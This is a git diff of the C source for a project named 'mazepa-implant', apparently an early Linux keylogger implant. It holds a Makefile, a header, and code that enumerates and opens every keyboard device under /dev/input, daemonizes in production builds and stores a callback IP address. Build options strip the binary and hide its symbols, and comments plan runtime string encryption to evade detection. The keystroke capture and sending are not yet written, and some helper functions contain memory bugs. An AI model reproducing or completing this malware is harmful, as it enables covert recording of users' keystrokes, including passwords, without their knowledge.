-    for (int ctr = -1; ++ctr < possible_paths;) {
-        if (!realpath(char_devices[ctr]->d_name, rpath)) {
-
-#ifdef DEBUG
-            DEBUG_LOG("[!] Could not run realpath(%s): %s\n", char_devices[ctr]->d_name, strerror(errno));
-#endif
-
-            continue;
-        }
-
-        keyboard_t *kbd = malloc(sizeof(keyboard_t));
-        if (!kbd) {
-
-#ifdef DEBUG
-            DEBUG_LOG("[!] allocate memory for keyboard_t\n");
-#endif
-
-            continue;
-        }
-
-        kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
-        if (kbd->fd < 0) {
-
-#ifdef DEBUG
-            DEBUG_LOG("[!] Could not open %s: %s\n", rpath, strerror(errno));
-#endif
-
-            continue;
-        }
-
-        /* FIXME(djnn): this does not spark joy */
-        memset(kbd->name, 0, STRING_BUFFER_SIZE);
-        strncpy((char *)kbd->name, rpath, (STRING_BUFFER_SIZE - 1));
-        TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
-    }
-
-    array_free((int8_t **)char_devices);
-    return TAILQ_EMPTY(&instance->kbd) ? ERROR : SUCCESSFUL;
-}
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -1,36 +0,0 @@
-
-
-#include <alloca.h>
-#include <unistd.h>
-#include "implant.h"
-
-int main(
-#ifdef DEBUG
-    int ac,
-    char **av,
-#else
-    __attribute__((unused)) int ac,
-    __attribute__((unused)) char **av,
-#endif
-    __attribute__((unused)) char **envp) {
-
-    implant_t instance = {
-        .ip = {"10.0.2.2"}, .port = 80, /* ip can be a domain name */
-    };
-
-#ifdef DEBUG
-    if (ERROR == run_lexer(ac, av, &instance))
-        return 1;
-
-    DEBUG_LOG("[*] settings:\n\tIP:%s\n\tPort:%d", instance.ip, instance.port);
-#else
-    /* TODO(djnn): instance_load_from_memory(&instance); */
-
-    daemon_setup();
-#endif
-
-    if (ERROR == fetch_available_keyboards(&instance))
-        return 1;
-
-    return 0;
-}
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -1,55 +0,0 @@
-/*
-   program's input handling is handled here.
-*/
-
-#include <getopt.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#include "implant.h"
-
-static void help_mode(void) {
-#ifdef DEBUG
-    printf("mazepa_%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback "
-           "Port\n\t-n\tDisable network connection (for debug)\n",
-           CLIENT_ID);
-#endif
-}
-
-int run_lexer(int ac, char **av, implant_t *settings) {
-    int c = 0;
-
-    char const *options = "i:p:hn";
-
-    do {
-        c = getopt(ac, av, options);
-        switch (c) {
-
-        case 'n':
-            settings->disable_net = 1;
-            break;
-
-        case 'i':
-            strncpy((char *)&settings->ip, optarg, 255);
-            break;
-
-        case 'p':
-            settings->port = (uint16_t)strtoul(optarg, NULL, 0);
-            break;
-
-        case '?':
-            help_mode();
-            return ERROR;
-
-        case 'h':
-            help_mode();
-            exit(0);
-
-        default:
-            break;
-        }
-    } while (c != -1);
-    return SUCCESSFUL;
-}
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -1,200 +0,0 @@
-
-/**
- * This file contains a collection of utility functions for various tasks.
- *
- * `file_get_contents`: Reads a file and returns its contents as a null-terminated string.
- * The file path is passed as the first argument, and a pointer to the file contents is returned as the second argument.
- *
- * `remove_repeating_whitespaces`: Removes consecutive whitespace characters from a string and returns the modified string.
- *
- * `array_get_size`: Returns the size of a dynamically allocated array of int8_t values.
- * The array is passed as a pointer to the first element.
- *
- * `array_free`: Frees a dynamically allocated array of int8_t values.
- * The array is passed as a pointer to the first element.
- *
- * `array_from_string`: Generates a table of strings from a given prefix and suffix.
- * The prefix and suffix are passed as strings, and the function returns a dynamically allocated array of strings.
- */
-
-#include "implant.h"
-
-#include <ctype.h>
-#include <fcntl.h>
-#include <stddef.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-int8_t file_get_contents(int8_t const *path, int8_t **buffer) {
-    struct stat st = {0};
-    int fd = 0;
-    int64_t filesize = 0;
-    int64_t bytes_read = 0;
-
-    if (NULL == path) {
-#ifdef DEBUG
-        DEBUG_LOG("[%s] %s is NULL\n", CLIENT_ID, path);
-#endif
-        return ERROR;
-    }
-
-    fd = open((const char *)path, O_RDONLY);
-    if (0 > fd) {
-#ifdef DEBUG
-        DEBUG_LOG("[%s] Could not open %s: %s\n", CLIENT_ID, path, strerror(errno));
-#endif
-        return ERROR;
-    }
-
-    /* could use fseek but stat is posix so let's use that */
-    if (0 > fstat(fd, &st)) {
-#ifdef DEBUG
-        DEBUG_LOG("[%s] Could not call fstat on %s: %s\n", CLIENT_ID, path, strerror(errno));
-#endif
-        return ERROR;
-    }
-
-    filesize = (int64_t)st.st_size;
-
-    if (!buffer) {
-#ifdef DEBUG
-        DEBUG_LOG("[%s] file_get_contents: buffer addr is NULL\n", CLIENT_ID);
-#endif
-        return ERROR;
-    }
-
-    *buffer = malloc(sizeof(int8_t) * (uint64_t)(filesize + 1));
-    if (!buffer || !(*buffer)) {
-#ifdef DEBUG
-        DEBUG_LOG("[%s] file_get_contents: could not allocate memory for %s: %s", CLIENT_ID, path, strerror(errno));
-#endif
-        return ERROR;
-    }
-
-    /* FIXME(djnn):
-
-       read file by chunks, append to circular-buffer data structure.
-       we only read small files with this for now though, less syscalls is better probablies.
-       */
-
-    bytes_read = (int64_t)read(fd, *buffer, (uint64_t)filesize);
-    if (bytes_read != filesize) {
-#ifdef DEBUG
-        DEBUG_LOG("[%s] Should have read %ld bytes but read %ld (filepath: %s)\n",
-                  CLIENT_ID,
-                  st.st_size,
-                  bytes_read,
-                  path);
-#endif
-    }
-
-    if (bytes_read < 0) {
-#ifdef DEBUG
-        DEBUG_LOG("[%s] read: %s", CLIENT_ID, strerror(errno));
-#endif
-        if (NULL != buffer) {
-            free(*buffer);
-        }
-        return ERROR;
-    }
-
-    if (buffer != NULL)
-        *buffer[bytes_read] = '\0';
-    close(fd);
-
-    return SUCCESSFUL;
-}
-
-static size_t
-get_nb_cols(const int8_t *str, int n, int8_t separator) {
-    size_t i = (size_t)n;
-    size_t res = 0;
-
-    if (str == NULL || str[0] == '\0')
-        return 0;
-    for (; str[i] && str[i] != separator; i++, res++)
-        ;
-    return (res);
-}
-
-static size_t
-get_nb_rows(const int8_t *str, int8_t separator) {
-    int i;
-    size_t res = 0;
-
-    if (str == NULL || str[0] == '\0')
-        return 0;
-    if (str == NULL || str[0] == '\0')
-        return (0);
-    for (i = 0; str[i] != '\0'; i++)
-        if (str[i] == separator)
-            res++;
-    return (res + 1);
-}
-
-int8_t **
-array_from_string(const int8_t *str, int8_t separator) {
-    size_t i = 0;
-    size_t malloc_size = 0;
-    size_t index_str = 0;
-    int8_t **res = NULL;
-
-    if (str == NULL || *str == 0)
-        return NULL;
-
-    res = malloc(sizeof(int8_t *) * (get_nb_rows(str, separator) + 1));
-    for (; i < get_nb_rows(str, separator); i++) {
-        malloc_size = get_nb_cols(&str[index_str], 0, separator);
-
-        res[i] = malloc(sizeof(int8_t) * (malloc_size + 4));
-        if (!res[i]) {
-            res[i] = NULL;
-            array_free((int8_t **)res);
-            return NULL;
-        }
-
-        res[i] = (int8_t *)strncpy((char *)res[i], (const char *)&str[index_str], malloc_size);
-        res[i][malloc_size] = '\0';
-
-        index_str = index_str + malloc_size + 1;
-    }
-
-    res[i] = NULL;
-    return (res);
-}
-
-void array_free(int8_t **tab) {
-    for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
-        free(tab[ctr]);
-    free(tab);
-}
-
-uint32_t array_get_size(int8_t **array) {
-    uint32_t ctr = 0;
-
-    if (!array)
-        return 0;
-    while (array[ctr++])
-        ;
-    return ctr;
-}
-
-int8_t *remove_repeating_whitespaces(int8_t *s) {
-    size_t i = 0;
-    size_t x = 0;
-
-    if (!s || !(*s))
-        return NULL;
-
-    for (; s[i]; ++i)
-        if (!isspace(s[i]) || (i > 0 && !isspace(s[i - 1])))
-            s[x++] = s[i];
-
-    s[x] = '\0';
-    return s;
-}
diff --git a/implant/.clang-format b/mazepa-implant/.clang-format
diff --git a/implant/.gitignore b/mazepa-implant/.gitignore
diff --git a/mazepa-implant/Makefile b/mazepa-implant/Makefile
@@ -0,0 +1,91 @@
+
+ifeq ($(MAKECMDGOALS), debug)
+	CLIENT_ID = DEBUG
+else
+	CLIENT_ID  = $(shell echo $$RANDOM | md5sum | head -c 10)
+
+	KEY   := $(shell echo $$RANDOM | md5sum | head -c 32)
+	IV    := $(shell echo $$RANDOM | md5sum | head -c 8)
+	BLOCK := $(shell echo $$RANDOM | md5sum | head -c 64)
+endif
+
+NAME		 	= mazepa_$(CLIENT_ID)
+CC			 	= clang
+RM			 	= rm -rf
+
+INCLUDES 	 	= -I./includes/
+LINK_FLAG    	=
+
+CFLAGS 			= -Wno-unused-command-line-argument -fPIC
+ifeq ($(MAKECMDGOALS), debug)
+	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security -Wno-visibility -DCLIENTID=DEBUG -Wno-unsafe-buffer-usage
+	CFLAGS 			+= -Wno-unused-macros
+else
+	CFLAGS 		 	+= -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s -static -Wno-visibility
+	CFLAGS 			+= -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s -Wno-unsafe-buffer-usage
+	CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
+	CFLAGS 			+= -DCLIENTID=$(CLIENT_ID) # -DSTATIC_KEY=$(KEY) -DBLOCK=$(BLOCK) -DIV=$(IV)
+endif
+
+
+PATTERN 	 	= .c
+OBJPATTERN  	= .o
+SRC_DIR 		= ./sources
+OBJECT_DIR 		= ./objects
+
+vpath %$(PATTERN) $(SRC_DIR)
+
+MAIN		 	= main.c
+SRC 		 	= opt.c utils.c daemon.c kbd.c
+
+
+COMBINED		= $(SRC) $(MAIN)
+OBJ 	 		= $(patsubst %$(PATTERN), $(OBJECT_DIR)/%$(OBJPATTERN), $(COMBINED))
+
+
+.PHONY: all
+all: directories $(NAME) ## generate PROD binary (you might have to run make fclean before)
+	@strip -s $(NAME)
+	@echo "   [*** BINARY STRIP DONE ***]"
+
+.PHONY: help
+help:
+	@echo "\033[34mtargets:\033[0m"
+	@perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}'
+
+
+.PHONY: debug
+debug: directories $(NAME) ## generate DEBUG binary (you might have to run make fclean before)
+	@echo "[ ** DEBUG BINARY COMPILED WITH $(CFLAGS) **]"
+
+
+$(OBJECT_DIR):
+	@mkdir -pv $@
+
+directories: | $(OBJECT_DIR)
+
+$(OBJECT_DIR)/%$(OBJPATTERN) : %$(PATTERN)
+	@$(CC) -o $@ -c $< $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
+	@echo "Compiling $@"
+
+$(NAME): $(OBJ)
+	@$(CC) -o $(NAME) $^ $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
+	@echo "[*** COMPILATION  SUCCESSFUL ***]"
+
+.PHONY: clean
+clean:  ## removes object files
+	@$(RM) objects
+
+.PHONY: fclean
+fclean: clean  ## removes all compilation artifacts
+	@$(RM) $(NAME) mazepa_*
+	@echo "[*** CLEAN ***]"
+
+.PHONY: gen-compile-commands
+gen-compile-commands: clean ## generate compile_commands.json
+	@bear -- make debug
+
+.PHONY: re  ## cleans everything and rebuild PROD binary
+re: fclean all
+
+
diff --git a/mazepa-implant/includes/implant.h b/mazepa-implant/includes/implant.h
@@ -0,0 +1,105 @@
+
+#ifndef IMPLANT_H
+#define IMPLANT_H
+
+#include <stdint.h>
+#include <sys/queue.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define _GNU_SOURCE
+
+#ifdef DEBUG
+#include <errno.h>
+#endif
+
+#define QUEUE_BUFFER_SIZE 1024
+#define STRING_BUFFER_SIZE 256
+
+
+/* will be overriden at compile-time if prod-mode enabled */
+#define BLOCK_SIZE 64
+#define KEY_SIZE 32
+#define IV_SIZE 8
+
+#define BLOCK   ("")
+#define KEY     ("")
+#define IV      ("")
+
+
+/*
+    represents whatever data is currently logged for a single keyboard
+    also holds its file descriptor
+*/
+typedef struct keyboard_s keyboard_t;
+struct keyboard_s {
+    int fd;
+
+    uint64_t nb_chars;
+    uint8_t buffer[QUEUE_BUFFER_SIZE];
+
+    int8_t name[STRING_BUFFER_SIZE];
+    TAILQ_ENTRY(keyboard_s)
+    devices;
+};
+
+/*
+    contains project settings, such as target
+    port & IP address, whether debug mode is enabled
+    or stuff like this
+*/
+typedef struct implant_s {
+
+    /* remote connection settings */
+    int8_t ip[STRING_BUFFER_SIZE];
+    uint8_t disable_net;
+
+    /* keyboard settings (multiple if using dock or something) */
+    TAILQ_HEAD(listhead, keyboard_s)
+    kbd;
+
+    uint8_t using_caps_lock;
+} implant_t;
+
+/* will be overriden by make rules if debug mode not enabled */
+#define CLIENT_ID ("DEBUG")
+
+#define SUCCESSFUL 1
+#define ERROR 0
+
+#include <stdio.h> /* necessary for the snprintf in the macro */
+#include <syslog.h>
+
+#ifndef DEBUG_LOG
+#define DEBUG_LOG(s, ...)                              \
+    do {                                               \
+        char data[512] = {0};                          \
+        if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
+            _exit(1);                                  \
+        syslog(LOG_NOTICE, data);                      \
+    } while (0)
+#endif
+
+#define KEY_PRESSED 1
+#define KEY_RELEASED 0
+
+// opt.c
+int run_lexer(int, char **, implant_t *);
+
+// deamon.c
+void daemon_setup(void);
+
+// kbd.c
+uint8_t fetch_available_keyboards(implant_t *instance);
+
+
+// utils.c
+int8_t file_get_contents(int8_t const *, int8_t **);
+int8_t *remove_repeating_whitespaces(int8_t *);
+uint32_t array_get_size(int8_t **);
+void array_free(int8_t **);
+int8_t **array_from_string(const int8_t *, int8_t);
+int8_t ascii_to_hex(char input[STRING_BUFFER_SIZE / 2], char output[STRING_BUFFER_SIZE]);
+int8_t hex_to_ascii(char input[STRING_BUFFER_SIZE], char output[STRING_BUFFER_SIZE]);
+
+#endif /* IMPLANT_H */
diff --git a/implant/sources/daemon.c b/mazepa-implant/sources/daemon.c
diff --git a/mazepa-implant/sources/kbd.c b/mazepa-implant/sources/kbd.c
@@ -0,0 +1,119 @@
+/**
+ *  keyboard handling & locale support
+ *
+ *  input devices usually live in /dev/input/
+ *
+ *  you can identify the in the by-path subdirectory, which maps each
+ *  device name to a symlink
+ *
+ *  here, we will return set an array of file-descriptor for each available
+ *  keyboard on the machine, it should be appended with a -1 that should serve
+ *  as a NULL value
+ */
+
+#include "implant.h"
+
+#include <dirent.h>
+#include <fcntl.h>
+#include <limits.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <strings.h>
+#include <sys/dir.h>
+#include <sys/queue.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+static int
+is_kbd(const struct dirent *f) {
+    size_t len = 0;
+
+    if (NULL == f)
+        return 0;
+
+    len = strlen(f->d_name);
+    if (len < 4)
+        return 0;
+
+    return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' &&
+           f->d_name[len - 1] == 'd';
+}
+
+uint8_t fetch_available_keyboards(implant_t *instance) {
+
+    char rpath[2048] = {0};
+    struct dirent **char_devices = NULL;
+    int possible_paths = 0;
+
+    /* FIXME(djnn): base64 then decrypt string at runtime */
+    const char *dev_input_by_path = "/dev/input/by-path/";
+
+    if (!instance) {
+#ifdef DEBUG
+        DEBUG_LOG("[!] NULL ptr for instance struct\n");
+#endif
+        return ERROR;
+    }
+
+    possible_paths = scandir(dev_input_by_path, &char_devices, &is_kbd, &alphasort);
+    if (-1 == possible_paths || 0 > chdir(dev_input_by_path)) {
+
+#ifdef DEBUG
+        DEBUG_LOG("could not find possible keyboard paths\n");
+#endif
+
+        return ERROR;
+    }
+
+    /* prepare TAILQ  */
+    TAILQ_INIT(&instance->kbd);
+    for (int ctr = -1; ++ctr < possible_paths;) {
+        if (!realpath(char_devices[ctr]->d_name, rpath)) {
+
+#ifdef DEBUG
+            DEBUG_LOG("[!] Could not run realpath(%s): %s\n", char_devices[ctr]->d_name, strerror(errno));
+#endif
+
+            continue;
+        }
+
+        keyboard_t *kbd = malloc(sizeof(keyboard_t));
+        if (!kbd) {
+
+#ifdef DEBUG
+            DEBUG_LOG("[!] allocate memory for keyboard_t\n");
+#endif
+
+            continue;
+        }
+
+        kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
+        if (kbd->fd < 0) {
+
+#ifdef DEBUG
+            DEBUG_LOG("[!] Could not open %s: %s\n", rpath, strerror(errno));
+#endif
+
+            continue;
+        }
+
+        bzero(kbd->name, STRING_BUFFER_SIZE);
+        if (!strncpy((char *)kbd->name, rpath, (STRING_BUFFER_SIZE - 1))) {
+
+#ifdef DEBUG
+            DEBUG_LOG("[!] strncpy: kbd->name could not be copied\n");
+#endif
+
+            free(kbd);
+            continue;
+        }
+        TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
+    }
+
+    array_free((int8_t **)char_devices);
+    return TAILQ_EMPTY(&instance->kbd) ? ERROR : SUCCESSFUL;
+}
diff --git a/mazepa-implant/sources/main.c b/mazepa-implant/sources/main.c
@@ -0,0 +1,36 @@
+
+
+#include <alloca.h>
+#include <unistd.h>
+#include "implant.h"
+
+int main(
+#ifdef DEBUG
+    int ac,
+    char **av,
+#else
+    __attribute__((unused)) int ac,
+    __attribute__((unused)) char **av,
+#endif
+    __attribute__((unused)) char **envp) {
+
+    implant_t instance = {
+        .ip = "10.0.2.2", /* ip can be a domain name */
+    };
+
+#ifdef DEBUG
+    if (ERROR == run_lexer(ac, av, &instance))
+        return 1;
+
+    DEBUG_LOG("[*] settings:\n\tIP:%s\n", instance.ip);
+#else
+    /* TODO(djnn): instance_load_from_memory(&instance); */
+
+    daemon_setup();
+#endif
+
+    if (ERROR == fetch_available_keyboards(&instance))
+        return 1;
+
+    return 0;
+}
diff --git a/mazepa-implant/sources/opt.c b/mazepa-implant/sources/opt.c
@@ -0,0 +1,51 @@
+/*
+   program's input handling is handled here.
+*/
+
+#include <getopt.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "implant.h"
+
+static void help_mode(void) {
+#ifdef DEBUG
+    printf("mazepa_%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback "
+           "Port\n\t-n\tDisable network connection (for debug)\n",
+           CLIENT_ID);
+#endif
+}
+
+int run_lexer(int ac, char **av, implant_t *settings) {
+    int c = 0;
+
+    char const *options = "i:hn";
+
+    do {
+        c = getopt(ac, av, options);
+        switch (c) {
+
+        case 'n':
+            settings->disable_net = 1;
+            break;
+
+        case 'i':
+            strncpy((char *)&settings->ip, optarg, 255);
+            break;
+
+        case '?':
+            help_mode();
+            return ERROR;
+
+        case 'h':
+            help_mode();
+            exit(0);
+
+        default:
+            break;
+        }
+    } while (c != -1);
+    return SUCCESSFUL;
+}
diff --git a/mazepa-implant/sources/utils.c b/mazepa-implant/sources/utils.c
@@ -0,0 +1,231 @@
+
+/**
+ * This file contains a collection of utility functions for various tasks.
+ *
+ * `file_get_contents`: Reads a file and returns its contents as a null-terminated string.
+ * The file path is passed as the first argument, and a pointer to the file contents is returned as the second argument.
+ *
+ * `remove_repeating_whitespaces`: Removes consecutive whitespace characters from a string and returns the modified string.
+ *
+ * `array_get_size`: Returns the size of a dynamically allocated array of int8_t values.
+ * The array is passed as a pointer to the first element.
+ *
+ * `array_free`: Frees a dynamically allocated array of int8_t values.
+ * The array is passed as a pointer to the first element.
+ *
+ * `array_from_string`: Generates a table of strings from a given prefix and suffix.
+ * The prefix and suffix are passed as strings, and the function returns a dynamically allocated array of strings.
+ */
+
+#include "implant.h"
+
+#include <ctype.h>
+#include <fcntl.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <strings.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+
+int8_t file_get_contents(int8_t const *path, int8_t **buffer) {
+    struct stat st = {0};
+    int fd = 0;
+    int64_t filesize = 0;
+    int64_t bytes_read = 0;
+
+    if (NULL == path) {
+#ifdef DEBUG
+        DEBUG_LOG("[%s] %s is NULL\n", CLIENT_ID, path);
+#endif
+        return ERROR;
+    }
+
+    fd = open((const char *)path, O_RDONLY);
+    if (0 > fd) {
+#ifdef DEBUG
+        DEBUG_LOG("[%s] Could not open %s: %s\n", CLIENT_ID, path, strerror(errno));
+#endif
+        return ERROR;
+    }
+
+    /* could use fseek but stat is posix so let's use that */
+    if (0 > fstat(fd, &st)) {
+#ifdef DEBUG
+        DEBUG_LOG("[%s] Could not call fstat on %s: %s\n", CLIENT_ID, path, strerror(errno));
+#endif
+        return ERROR;
+    }
+
+    filesize = (int64_t)st.st_size;
+
+    if (!buffer) {
+#ifdef DEBUG
+        DEBUG_LOG("[%s] file_get_contents: buffer addr is NULL\n", CLIENT_ID);
+#endif
+        return ERROR;
+    }
+
+    *buffer = malloc(sizeof(int8_t) * (uint64_t)(filesize + 1));
+    if (!buffer || !(*buffer)) {
+#ifdef DEBUG
+        DEBUG_LOG("[%s] file_get_contents: could not allocate memory for %s: %s", CLIENT_ID, path, strerror(errno));
+#endif
+        return ERROR;
+    }
+
+    /* FIXME(djnn):
+
+       read file by chunks, append to circular-buffer data structure.
+       we only read small files with this for now though, less syscalls is better probablies.
+       */
+
+    bytes_read = (int64_t)read(fd, *buffer, (uint64_t)filesize);
+    if (bytes_read != filesize) {
+#ifdef DEBUG
+        DEBUG_LOG("[%s] Should have read %ld bytes but read %ld (filepath: %s)\n",
+                CLIENT_ID,
+                st.st_size,
+                bytes_read,
+                path);
+#endif
+    }
+
+    if (bytes_read < 0) {
+#ifdef DEBUG
+        DEBUG_LOG("[%s] read: %s", CLIENT_ID, strerror(errno));
+#endif
+        if (NULL != buffer) {
+            free(*buffer);
+        }
+        return ERROR;
+    }
+
+    if (buffer != NULL)
+        *buffer[bytes_read] = '\0';
+    close(fd);
+
+    return SUCCESSFUL;
+}
+
+static size_t
+get_nb_cols(const int8_t *str, int n, int8_t separator) {
+    size_t i = (size_t)n;
+    size_t res = 0;
+
+    if (str == NULL || str[0] == '\0')
+        return 0;
+    for (; str[i] && str[i] != separator; i++, res++)
+        ;
+    return (res);
+}
+
+static size_t
+get_nb_rows(const int8_t *str, int8_t separator) {
+    int i;
+    size_t res = 0;
+
+    if (str == NULL || str[0] == '\0')
+        return 0;
+    if (str == NULL || str[0] == '\0')
+        return (0);
+    for (i = 0; str[i] != '\0'; i++)
+        if (str[i] == separator)
+            res++;
+    return (res + 1);
+}
+
+int8_t **
+array_from_string(const int8_t *str, int8_t separator) {
+    size_t i = 0;
+    size_t malloc_size = 0;
+    size_t index_str = 0;
+    int8_t **res = NULL;
+
+    if (str == NULL || *str == 0)
+        return NULL;
+
+    res = malloc(sizeof(int8_t *) * (get_nb_rows(str, separator) + 1));
+    for (; i < get_nb_rows(str, separator); i++) {
+        malloc_size = get_nb_cols(&str[index_str], 0, separator);
+
+        res[i] = malloc(sizeof(int8_t) * (malloc_size + 4));
+        if (!res[i]) {
+            res[i] = NULL;
+            array_free((int8_t **)res);
+            return NULL;
+        }
+
+        res[i] = (int8_t *)strncpy((char *)res[i], (const char *)&str[index_str], malloc_size);
+        res[i][malloc_size] = '\0';
+
+        index_str = index_str + malloc_size + 1;
+    }
+
+    res[i] = NULL;
+    return (res);
+}
+
+void array_free(int8_t **tab) {
+    for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
+        free(tab[ctr]);
+    free(tab);
+}
+
+uint32_t array_get_size(int8_t **array) {
+    uint32_t ctr = 0;
+
+    if (!array)
+        return 0;
+    while (array[ctr++])
+        ;
+    return ctr;
+}
+
+int8_t *remove_repeating_whitespaces(int8_t *s) {
+    size_t i = 0;
+    size_t x = 0;
+
+    if (!s || !(*s))
+        return NULL;
+
+    for (; s[i]; ++i)
+        if (!isspace(s[i]) || (i > 0 && !isspace(s[i - 1])))
+            s[x++] = s[i];
+
+    s[x] = '\0';
+    return s;
+}
+
+int8_t ascii_to_hex(char input[STRING_BUFFER_SIZE / 2], char output[STRING_BUFFER_SIZE]) {
+    int8_t ctr = -1;
+
+    bzero(output, STRING_BUFFER_SIZE);
+    if (!input)
+        return ERROR;
+
+    while (input[++ctr] != 0 && ctr < STRING_BUFFER_SIZE / 4) {
+        sprintf(output + ctr * 2, "%02x", (int8_t)input[ctr]);
+    }
+    output[STRING_BUFFER_SIZE] = 0;
+    return SUCCESSFUL;
+}
+
+int8_t hex_to_ascii(char input[STRING_BUFFER_SIZE], char output[STRING_BUFFER_SIZE]) {
+    int8_t ctr = -1;
+
+    bzero(output, STRING_BUFFER_SIZE);
+    if (!input)
+        return ERROR;
+
+    while (input[++ctr] != 0) {
+        output[ctr / 2] = (char)strtol(input + ctr, NULL, 16);
+    }
+    return SUCCESSFUL;
+}
+
+